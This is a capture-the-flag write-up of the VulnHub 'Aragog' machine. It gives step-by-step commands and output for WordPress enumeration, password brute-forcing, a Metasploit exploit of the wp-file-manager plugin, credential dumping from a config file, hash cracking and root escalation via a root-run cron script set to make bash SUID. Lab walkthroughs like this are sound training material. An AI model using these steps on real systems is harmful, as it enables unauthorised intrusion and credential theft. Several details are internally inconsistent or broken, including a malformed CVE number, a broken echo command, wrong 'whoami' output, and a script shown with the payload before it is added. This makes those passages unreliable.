> For the complete documentation index, see [llms.txt](https://notes-95.gitbook.io/documents/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes-95.gitbook.io/documents/home/ctf-lab-write-ups/vulnhub/web-exploitation/aragog.md).

# Aragog

{% embed url="<https://www.vulnhub.com/entry/harrypotter-aragog-102,688/>" %}

<details>

<summary><strong>Summary</strong></summary>

Aragog is an easy, Harry Potter themed boot to root machine built around a vulnerable WordPress plugin and cron based privilege escalation. The box hides two horcruxes (flags), one after landing initial access and the last one after reaching root.

</details>

***

**Reconnaissance**

The first step would be to look for any active hosts on the vbox network covering all addresses from 192.168.56.1 to .254.

```
sudo netdiscover -i vboxnet0 -r 192.168.56.0/24
```

<figure><img src="/files/gQRyhkS2SkuKMWHUQtzH" alt=""><figcaption></figcaption></figure>

Now that I have my target IP address, 192.168.56.101, the next thing I did was perform an nmap scan to scan all ports. For each port it scans it will detect and print the application and version as well as if the scan finds a web server, then it will list the allowed HTTP methods or it will extract the SSL certificate data.&#x20;

<details>

<summary><strong>Why this matters</strong></summary>

Knowing the exact software version will allow me to search vulnerability databases so that I can see if the target is running outdated, exploitable software.

</details>

```
nmap -sV -sC -p- 192.168.56.101
```

<figure><img src="/files/Fu2EtYfRaZhnGBc5Y3WF" alt=""><figcaption></figcaption></figure>

I viewed port 80 and it was a picture of a face-off between Bellatrix, Voldemort, and Lucius against Harry, Hermione, and Ron.

<figure><img src="/files/EgwpUGvLYrTaZBKfdhtu" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ozdFOEFZA5hxB0Rwr48r" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8Wm9IcxpfifzJHhnHICn" alt=""><figcaption></figcaption></figure>

I viewed the page source and did not find anything. Under the Debugger tab in \<anonymous code> I found what appears to be some coding. After reviewing, I found that it wasn't part of the target machine because it is a browsers injected script which is not something that is served by the VM.

<details>

<summary><strong>How can I tell?</strong></summary>

uas-port, uasw-json-data, and serverTiming lookup for 'uasw-json-data' are signs of\
the User-Agent-Switcher and Manager Browser extension which is common kali/Firefox setups. It manages user-agent spoofing by injecting script into every page you visit.

</details>

I decided to check the image file harry\_potter\_1.jpg for hidden data. After downloading the image, I inspected the images metadata and found that there wasn't anything hidden.

```
wget http://<target-ip>/harry_potter_1.jpg
exiftool harry_potter_1.jpg
```

<figure><img src="/files/JrREkAgX4k9KEfSsWoH0" alt=""><figcaption></figcaption></figure>

Verified nothing is hidden in the metadata of the image, the next thing I did was check to see if there are any hidden embedded strings or data texts.

```
strings harry_potter_1.jpg | less
```

Honestly printed a bunch of garbage. After trying to guess what I was looking at exactly, I just copied the first couple of lines and Googled it. I learned that what I was looking at is just normal JPEG binary data. SO after researching that, the last thing I wanted to check for was if there are any hidden data appended after the image data using binwalk.

```
binwalk harry_potter_1.jpg
```

<figure><img src="/files/yFW2YLUce9graBoIvkkW" alt=""><figcaption></figcaption></figure>

Confirmed: The harry\_potter\_1.jpg image is just a normal image and that there is nothing of interest with the image itself. So I moved on to enumeration.

***

**Enumeration**

Now that I have fully inspected and verified that there is nothing of interest with the harry\_potter\_1.jpg, I moved on to the next step. Which is to check the robots.txt file.

```
http://192.168.56.101/robots.txt
```

<figure><img src="/files/lThiBPaycOUgsyZH838n" alt=""><figcaption></figcaption></figure>

Apparently, there is no robots.txt file. So now my next plan of action is to use gobuster for directory brute-forcing.

```
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,zip
```

<figure><img src="/files/QJl4WoD0LCusylxlf0CV" alt=""><figcaption></figcaption></figure>

Sweet, some actual leads now!!! /blog/ and /javascript/ are new directories that aren't visible from the main page <http://192.168.56.101>. The next order of business is to check both by using curl and I want it to only print the first 50 lines.

```
curl -s http://192.168.56.101/blog/ | head -50
```

<figure><img src="/files/9spd0764fGYvfmmSoUJt" alt=""><figcaption></figcaption></figure>

Ooh an interesting find! After reviewing the HTML, in the tag:

```
<title>Blog &#8211; Just another WordPress site</title>
```

which is a dead giveaway telling me this is a WordPress site. Also further down the tag:

```
<meta name="generator" content="WordPress 5.0.12" />
```

WordPress literally telling me its own version number. Knowing that WordPress is only running 5.0.x means that there are known vulnerabilities. So my next move is to run searchsploit as confirmation.

```
searchsploit wordpress 5.0
```

<figure><img src="/files/G9IQKrojdiHFkpjUV8ge" alt=""><figcaption></figcaption></figure>

```
curl -s http://192.168.56.101/javascript/ | head -50
```

<figure><img src="/files/VSInvREgYlZMrxCZSZCD" alt=""><figcaption></figcaption></figure>

Confirmed: Numerous vulnerabilities for this outdated version of WordPress. I also checked /javascript/ as well and found that it printed a 403 indicating a dead end for now.

Before running msfconsole, I performed a WPscan to enumerate more details. The reason I chose to use WPScan is because it is more thorough and faster than manually poking around!

```
wpscan --url http://wordpress.aragog.hogwarts/blog/ --enumerate u,vp,vt
```

<figure><img src="/files/gn27qWyZFAvPPa7EY9oE" alt=""><figcaption></figcaption></figure>

After the scan finished it confirmed that WordPress version is 5.0.12 and WPScan flagged it as insecure. Also printed a username: WP-Admin/wp-admin. Next, I am going to do a quick password brute-force with WPScan and see what happens.

```
wpscan --url http://wordpress.aragog.hogwarts/blog/ --usernames wp-admin --passwords /usr/share/wordlists/fasttrack.txt --max-threads 5
wpscan --url http://wordpress.aragog.hogwarts/blog/ --usernames wp-admin --passwords /usr/share/wordlists/dirb/others/best110.txt --max-threads 5
```

Both scans finished and neither found a valid password for the user wp-admin. The next thing I did was check if there were other users on the WordPress site. I used the following command to enumerate users:

```
curl -s http://wordpress.aragog.hogwarts/blog/?p=1
```

In the HTML source code, I found a few lines that pointed to a second post titled "Notice" at ?p=9.

In the \<head> section:&#x20;

<figure><img src="/files/EgtKa6OYbZU8XmFPoGyn" alt=""><figcaption></figcaption></figure>

In the page navigation near the bottom of the post:

<figure><img src="/files/3HWqlYt2gYnUmOiuL3WJ" alt=""><figcaption></figcaption></figure>

Lastly, in the sidebar's "Recent Posts" widget:

<figure><img src="/files/JiQuKJXTdWXDFeyCLAYQ" alt=""><figcaption></figcaption></figure>

I viewed the post at ?p=9 and it was a Notice post that said "We will be deleting some of our unused wordpress plugins in future as secutirty best practices."

```
curl -s "http://wordpress.aragog.hogwarts/blog/?p=9"
```

<figure><img src="/files/4ejMKxTB6FGDS0LGkPTk" alt=""><figcaption></figcaption></figure>

What these findings tell me is that there are installed plugins on this site, even though the wpscan I did earlier did not find any. I am going to try and find them directly by using wpscan's aggressive plugin detection mode because it will check known plugin paths directly instead of relying on passive signals.

```
wpscan --url http://wordpress.aragog.hogwarts/blog/ --enumerate p --plugins-detection aggressive
```

<figure><img src="/files/DVImtWvPgxnt3eA10L0q" alt=""><figcaption></figcaption></figure>

Confirmed: There are two plugins installed, akismet and wp-file-manager. The wp-file-manager plugin is out of date and has a known vulnerability, CVE-202-25213, which will allow me to perform Remote Code Execution(RCE) unauthenticated.

<figure><img src="/files/f8lnLijg5HdEzdrk3Ysm" alt=""><figcaption></figcaption></figure>

<details>

<summary><strong>How does it work?</strong></summary>

The plugin renames an unsafe example elFinder connector file to have a .php extension. This allows attackers to write PHP code directly into the plugin's files directory.

</details>

I am going to use the Metasploit module for this vulnerability since it is the easiest path and Metasploit already has a ready made module for it.

***

**Exploitation**

```
msfconsole
```

<figure><img src="/files/oz2bvEO76TCEVfHSeq8n" alt=""><figcaption></figcaption></figure>

Then once in msfconsole, I searched for the module:

```
search wp_file_manager
```

and then used it by typing "use 0"

<figure><img src="/files/l9Qszw8LOFMZEgpE4sX2" alt=""><figcaption></figcaption></figure>

Once in the module, I set the RHOSTS to wordpress.aragog.hogwarts. Then I set the TARGETURI to /blog/. Lastly, I set the LHOST to my local IP address. After that, I ran the exploit and it worked! I got a shell, Meterpreter session opened, confirming the payload uploaded and executed.

<figure><img src="/files/htEuo90qEn7pSPVunzq0" alt=""><figcaption></figcaption></figure>

To confirm who I was and where I landed I landed, I ran the following commands:

<figure><img src="/files/5lUOdae79qnKERy9bjVE" alt=""><figcaption></figcaption></figure>

whoami confirmed that I am www-data and pwd confirmed that I am in&#x20;

```
/usr/share/wordpress/wp-content/plugins/wp-file-manager/lib/files
```

***

**Privilege Escalation**

Since I have a shell, I want to escalate my privileges to root. So I first look for a path to escalate my privileges. To do this, I am going to look for WordPress's database configuration which may have databased credentials that I maybe able to use. I am also going to look for other users on the system and check for SUID binaries that may be exploitable. Also, in the event that www-data can run something as another user, I will check for sudo permissions.

```
cat /etc/wordpress/config-default.php
```

```
<?php
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'mySecr3tPass');
define('DB_HOST', 'localhost');
define('DB_COLLATE', 'utf8_general_ci');
define('WP_CONTENT_DIR', '/usr/share/wordpress/wp-content');
?>
```

```
cat /etc/passwd | grep -E "sh$"
```

```
root:x:0:0:root:/root:/bin/bash
ginny:x:1001:1001::/home/ginny:/bin/sh
hagrid98:x:1000:1000:Hagrid,,,:/home/hagrid98:/bin/bash
```

```
find / -perm -4000 -type f 2>/dev/null
```

```
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
```

```
sudo -l
```

```
/bin/sh: 8: sudo: not found
```

Okay, let me break everything down, I found the WordPress database credentials: DB\_USER: root and DB\_PASSWORD: mySecr3tPass. This is only the MySQL root user and not the system root, but these credentials still gives me the fill access to the WordPress database where user account password hashes are stored.

Next, I found two other users on the system, ginny and hagrid98. Once I can get valid credentials for either, I can su into that account and then escalate to root.

Lastly, I found that the sudo command itself isn't installed on this box, not a permission issue, just genuinely absent resulting in a dead end for that path.

The next best move would be to log into MySQL with the root credentials I found and check the wp\_users table for any password hashes that are tied to the users I found.

So, I will first log into MySQL and then pull the database list to confirm that I have access:

```
mysql -u root -pmySecr3tPass -e "SHOW DATABASES;"
```

```
Database
information_schema
mysql
performance_schema
wordpress
```

Confirmed: I have access to the WordPress database. Next, I will check the wp\_users table for any password hashes that are tied to the users I found:

```
mysql -u root -pmySecr3tPass wordpress -e "SELECT * FROM wp_users;"
```

```
ID      user_login      user_pass       user_nicename   user_email      user_url        user_registered user_activation_key     user_status     display_name
1       hagrid98        $P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc.      wp-admin        hagrid98@localhost.local                2021-03-31 14:21:02             0       WP-Admin
```

Confirmed: I found the password hash for the user hagrid98. The $P$ prefix means it is a phpass hash. I will use John the Ripper to check the hash against a wordlist to see if I can crack it and get the password for hagrid98.

First, I created a file and named it hash.txt and then I pasted the hash into it:

```
echo '$P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc.' > hash.txt
```

With my hash.txt file created with the users password hash stored, I will run John the Ripper against the hash.txt file with the rockyou.txt wordlist.

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

```
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)     
1g 0:00:00:00 DONE (2026-08-03 18:55) 16.66g/s 25600p/s 25600c/s 25600C/s 123456..mexico1
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed. 
```

Cracked the password for hagrid98 instantly! The password is password123. Now that I have the password, I can su into the hagrid98 account and then start a fresh enumeration as this user.

```
su hagrid98
Password: password123
```

Confirmed: I am now logged in as hagrid98 after running the command:

```
whoami
hagrid98
id
uid=1000(hagrid98) gid=1000(hagrid98) groups=1000(hagrid98)
```

After the confirmation, I checked the home directory of hagrid98 for any files that they may own and find out if they have any special permissions.

```
ls -la /home/hagrid98
```

```
drwxr-xr-x 3 hagrid98 hagrid98 4096 May  2  2021 .
drwxr-xr-x 4 root     root     4096 Apr  1  2021 ..
-rw-r--r-- 1 hagrid98 hagrid98  220 Apr  1  2021 .bash_logout
-rw-r--r-- 1 hagrid98 hagrid98 3526 Apr  1  2021 .bashrc
drwx------ 3 hagrid98 hagrid98 4096 Apr  1  2021 .gnupg
-rw-r--r-- 1 hagrid98 hagrid98   91 Apr  1  2021 horcrux1.txt
-rw-r--r-- 1 hagrid98 hagrid98  807 Apr  1  2021 .profile
```

There is a file called, "horcrux1.txt and so I printed the contents of the file:

```
cat /home/hagrid98/horcrux1.txt
horcrux_{MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==}
```

And Voila, I found the first horcrux! But looking at thehorcrux details, I notice that it is Base64 encoded. So I am going to decode it to see what it says.

```
echo "MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==" | base64 -d
1: RidDlE's DiAry dEstroYed BY haRry in chaMbEr of SeCretS
```

A reference to the diary that Harry destroyed in the Chamber of Secrets after fighting the Basilisk! Time to move on and find the second one!

After finding the first horcrux, I checked for sudo permissions since I am now a real user on the system. Which ended up being a dead end because hagrid98 does not have sudo permissions. Which also verifies that the sudo command is not installed on this box.

Next on the list is to check for cron jobs that are running on the system. I am also going to inspect the /etc/cron.d directory for any cron jobs that may be running as root. And lastly, I will inspect for anything unusual in the /opt directory.&#x20;

```
cat /etc/crontab
ls -la /etc/cron.d
```

Both of these printed nothing custom, unusual, or suspicious. The crontab is the system-wide scheduled task list and it shows Debian default entries run by root. The /etc/cron.d directory holds additioinal scheduled jobs, separate from the main crontab. There were only two files in the directory, anacron and php. Both are standard systems files that come with Debian.

The /opt directory is what is the most interesting! /opt is a directory that is used for optional or third party custom software, usually populated by default. The directory contained just one file, .backup.sh.

```
-rwxr-xr-x  1 hagrid98 hagrid98   81 Apr  1  2021 .backup.sh
```

Since I technically own this file, I can edit the contents. The real question is, dos something more privileged execute this script periodically? If so, then I could edit the script to include a command that will escalate my privileges the next time it is ran. So, I will read that script to see what it does as well as inspect for a hidden scheduler.

```
cat /opt/.backup.sh

#!/bin/bash

cp -r /usr/share/wordpress/wp-content/uploads/ /tmp/tmp_wp_uploads 
chmod +s /bin/bash
```

```
find / -name "*.service" 2>/dev/null | xargs grep -l "backup" 2>/dev/null
```

```
ps aux | grep -i backup

hagrid98  1637  0.0  0.0   6208   880 ?        S    05:04   0:00 grep -i backup
```

No matching systemd services was found and no active backup process is visible right now. The script exists and does something, but I need to find out what triggers it to run automatically!!! So, I am going to see if the /tmp/tmp\_wp\_uploads directory already exists from a previous run of the script and who owns it.

```
ls -la /tmp/tmp_wp_uploads

ls: cannot access '/tmp/tmp_wp_uploads': No such file or directory exists.
```

Confirmed: It hasn't ran yet or was already cleaned up. Since a static search isn't finding the right trigger, I am going to monitor live process activity over time using pspy.

<details>

<summary><strong>pspy</strong></summary>

A tool specifically built to watch for scheduled background processes without needing root

</details>

First, I downloaded pspy:

```
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O ~/Downloads/pspy64
```

Then, I uploaded it to the target through meterpreter:

```
upload /home/rootdrift/Downloads/pspy64 /tmp/pspy64
```

<details>

<summary><strong>Why this matters</strong></summary>

Meterpreter upload command transfers a file from the local machine onto the compormised target. This is what gets the pspy binary onto the target VM so that I can run it there.

</details>

Next, using chmod I gave the file permission to be ran as a program and then ran it:

```
chmod +x /tmp/pspy64

/tmp/pspy64
```

```
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2026/08/04 05:19:28 CMD: UID=33    PID=1783   | /tmp/pspy64 
2026/08/04 05:19:28 CMD: UID=33    PID=1768   | /bin/sh 
2026/08/04 05:19:28 CMD: UID=33    PID=1767   | sh -c /bin/sh  
2026/08/04 05:19:28 CMD: UID=33    PID=1755   | 
2026/08/04 05:19:28 CMD: UID=0     PID=1736   | 
```

Confirmed: pspy is working and showing me the current state. Now, I am going to leave pspy running and wait a few minutes. It will print new lines live whenever any new process starts anywhere on the system. So, since .backup.sh is apparantly ties to some kind of trigger. I am going to wait for pspy to catch that moment. I should see a line appear showing .backup.sh being executed with whatever UID ran it.

And after waiting a few minutes:

```
2026/08/04 05:22:01 CMD: UID=0     PID=1802   | /bin/sh -c bash -c "/opt/.backup.sh" 
2026/08/04 05:22:01 CMD: UID=0     PID=1803   | /bin/bash /opt/.backup.sh 
```

Confirmed: /opt/.backup.sh is being ran by root, so now I am going to edit the script to add a command that will give me root access. A common approach would be to add a line that makes a copy of bash with the SUID bit set, so that I can run it later as root on demand.

```
echo 'chmod+s /bin/bash >> /opt/.backup.sh
```

Ran the above command and waited for cron to fire it again while observing pspy. After confirming it ran, I checked if /bin/bash now has the SUID bit set.

```
ls -la /bin/bash
```

```
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
```

A SUID bit set, root ran my script, and now it is time to get my root shell!!!!

```
bash -p
```

The -p in the bash -p command is important because it tells bash to preserve the elevated privileges from the SUID bit instead of dropping them automatically, which bash does by default for security. Once I ran that command, I then confirmed I'm root:

```
whoami
```

```
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
```

Tadaaaa, I am root!!! That is the full privilege escalation, from unauthenticated web RCE all the way to root, using a realistic misconfiguration. Now, that I am root, it is time to find the second horcrux.

```
find / -iname "*horcrux*" 2>/dev/null
```

```
/root/horcrux2.txt
```

Printed the contents of horcrux2.txt and:

```
cat /root/horcrux2.txt
```

```
  ____                            _         _       _   _                 
 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___ 
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
 \____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
                  |___/                                                   


Machine Author: Mansoor R (@time4ster)
Machine Difficulty: Easy
Machine Name: Aragog 
Horcruxes Hidden in this VM: 2 horcruxes

You have successfully pwned Aragog machine.
Here is your second hocrux: horcrux_{MjogbWFSdm9MbyBHYVVudCdzIHJpTmcgZGVTdHJPeWVkIGJZIERVbWJsZWRPcmU=}




# For any queries/suggestions feel free to ping me at email: time4ster@protonmail.com
```

The very last thing I need to do is to decode the second base64 encoded string:

```
echo "MjogbWFSdm9MbyBHYVVudCdzIHJpTmcgZGVTdHJPeWVkIGJZIERVbWJsZWRPcmU=" | base64 -d
2: maRvoLo GaUnt's riNg deStrOyed bY DUmbledOre
```

Fully pwned!!! Thank you for reading!

***

**Key Takeaways:**

* An outdated WordPress plugin version with a known CVE (wp-file-manager, CVE-2020-25213) is a common, reliable real-world foothold
* Database credentials from a config file (config-default.php) can lead to cracking real system-user credentials, even when they're only DB-level, not system-level.
* Absence of a tool (like sudo here) is a dead end worth confirming and moving past quickly, not something to keep re-testing.
* A script owned by a low-privilege user but executed on a schedule by root is a privilege escalation path — file ownership doesn't need to match execution privilege for this to work.
* When static enumeration (crontab, cron.d) doesn't reveal a trigger, live process monitoring with a tool like pspy can catch what static checks miss entirely.
